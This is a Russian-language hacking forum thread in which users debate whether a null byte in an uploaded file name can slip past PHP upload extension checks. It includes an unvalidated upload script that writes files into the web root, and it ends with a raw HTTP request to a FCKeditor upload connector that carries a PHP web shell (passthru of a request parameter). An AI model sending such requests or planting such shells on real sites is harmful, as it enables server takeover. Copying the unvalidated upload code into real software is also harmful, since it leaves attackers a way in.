Почему при загрузке (что в линукс что в виндувс), частичка имени файла преобразуется в %2500 (у меня так)(а было %00) ? (ручным аплоадом делал (т.е. вручную снифал и отправлял пакеты на загрузку)) Отправлял пакеты с помощью HTTPREQ (пробывал и InetCrack'ом отправлять, все тоже самое) Помогите собственно с ответом (сабж заслуживает отдельной темы, так как в "Вопросах о уязв." мне не помогли)
Что-то мне других возможностей и не представляется, кроме функции urlencode или аналогичных ей. Там точно нет никакой обработки в коде? Может просмотрел чего? Выложи код.
Code: <html> <head> <title>Загрузка файлов на сервер</title> </head> <body> <h2><p><b> Форма для загрузки файлов </b></p></h2> <form method="post" enctype="multipart/form-data"> <input type="file" name="filename"><br> <input type="submit" value="Загрузить"><br> </form> <?php if($_FILES["filename"]["size"] > 1024*3*1024) { echo ("Размер файла превышает три мегабайта"); exit; } if(copy($_FILES["filename"]["tmp_name"], "/home/user/data/www/site.ru/".$_FILES["filename"]["name"])) { echo("Файл успешно загружен <br>"); echo("Характеристики файла: <br>"); echo("Имя файла: "); echo($_FILES["filename"]["name"]); echo("<br>Размер файла: "); echo($_FILES["filename"]["size"]); echo("<br>Каталог для загрузки: "); echo($_FILES["filename"]["tmp_name"]); echo("<br>Тип файла: "); echo($_FILES["filename"]["type"]); } else { echo("Ошибка загрузки файла"); } ?> </body> </html>
$_FILES["filename"]["name"] => urldecode($_FILES["filename"]["name"]) и пропадут неведомые %20 и т.д.
При передаче в названии файла %00, у меня так и остается %00. Но при передачи параметров методом GET, POST, php декодирует url закодированные символы, например %00 => null byte; %27 => ' 1. В случае с обычными POST запросами, используется метод: application/x-www-form-urlencoded Он означает что данные передаются url кодированными, поэтому php их декодирует. 2. В случае загрузки файлов, используется метод: multipart/form-data Он означает что передаются бинарные данные, соотвественно эти данные не будут url декодированными и %00, так и останется %00 Как передать null byte, не знаю и возможно ли?
у меня ничего не преобразутся, тестил и %00 в середине имени файла, и в конце имени, и с magic_quotes=ON, и OFF - результат всегда один - как назвал, так и заливается, без изменений, ось Linux Для загрузки использовался код автора темы PS: Автор, выложи свой phpinfo Скорее всего никак, если в коде нет последующей "неаккуратной" обработки имени файла после загрузки, которое иногда встречается, например, когда проверяют, картинка ли файл
не, никак, а то что было ночью, унесли в РОА. Вот так-то, спать меньше надо Iceangel_: аяяяй, злые роавцы, все себе в группу тащут... ((( Никто ничего никуда не переносил, опять у тебя паранойя =(
Вообще, тема с передачей нулл байта через имя файла в глобальном массиве $_FILES очень интересна, например, мне не удалось сделать это ни разу передачей %00 или \0, \х00 и т.д. ни через имя файла, ни через тампер дату и перехват пакета HTTP. Видимо это действительно связано с Ранее где-то проходила информация, что это возможно и на основе этого были вроде даже баги каких-то двигов... В частности, в статье Минаева "Роковые ошибки php" https://forum.antichat.ru/thread54355.html упоминается такой метод обхода который будет работать только в результате дополнительного преобразования через urldecode($_FILES['userfile']['name']). Я могу лишь предположить, что данная уязвимость успешно работала на старых версиях ПХП, когда массива $_FILES не было, а использовался $HTTP_POST_FILES.
например при перехватке и редактировании запроса с помощью Tamper Data, после подстановки в конец файла %00 я нажимаю кнопку раскодировать, после этой операции передается именно null байт, а не %00. Да и кстати, в таком случае бага реально работает)
Ты ошибаешься, я тоже так раньше думал. Дело в том что, если передать в любой переменной не закодированный null byte, то при объявлении этой переменной PHP просто обрежет её и null byte в переменную не попадет. Пример: PHP без Suhosin, magic_quotes не имело значения Скрипт up.php: PHP: <?php if (!empty($_FILES["filename"]["tmp_name"])) { echo "Имя файла: ".$_FILES["filename"]["name"]."<br>"; } ?> Запроc: Ответ: Как видно имя файла без null byte'a
+1 Тоже проверил - просто обрезает. Как минимум для приведенного в статье скрипта, точно не работает. ЗЫ Тема открыта.
(Dm), все таки не могу понять как у тебя получилось обрезать если: Content-Type: multipart/form-data; (т.е. %00 оставляет -> %00 (т.е. не преобр. в нулл байт)) Конечно меня токо что осенило не закодированный нулл байт подставить (это у тебя еще в посте #12, да?) Но я не представляю как будет выглядеть символ нулл байта Подправьте меня если я ошибся
Если передать null byte в переменной, то что стоит после null byte откинется в этой переменной, для обхода фильтров, проверок - это никак не поможет. Да. null byte - никак не выглядит, нет такого символа) это нулевой код 0x00. Обычно при выводе отображается как �
ребята , вы че:??? все так и работает, обход ereg/eregi при аплоаде Причем дата тампер работает в этом случае прикрасно у меня то есть жмешь раскодить все спец символы превращаются в %xx вот и вставляешь %00 туда, и все гуд. вы кстати проверьте то что режется как вы говорите, на strlen , так как нул байт может проссто не отображать ваши тулзы при дампе
Такой вариант проверки устроит: PHP: echo $_FILES['uploadedfile']['name']; echo strlen($_FILES['uploadedfile']['name']); вывод после передачи 1.php%00.gif и раскодирования в тампер дате: Code: 1.php 5
Вопрос к Wolmer и (DM). если я правильно понял, то вы nullbyte подставляете непосредственно в имя файла (то есть в его реальное имя на диске). а каким методом вы это осуществляете? с клавиатуры вроде не введешь, а перименовать в имя содержащее null char с помощью php или к примеру С вроде нельзя... ?
2smc нуллбайт вставляется в пакете в названии файла, скачай inetcrack и попробуй вариации (например таким способом можно было обходит с нуллбайтом в FCKeditor) пример пакета Code: POST /fckeditor/editor/filemanager/connectors/php/connector.php?Command=FileUpload&Type=File&CurrentFolder=%2F HTTP/1.0 Accept: */* Content-Type: multipart/form-data; User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: site.com Content-Length: 234 Connection: Close Pragma: no-cache Content-Disposition: form-data; name="NewFile"; filename="test.php[COLOR=Red]%00[/COLOR].gif" Content-Type: text/plain <? passthru($_REQUEST[cmd]); ?>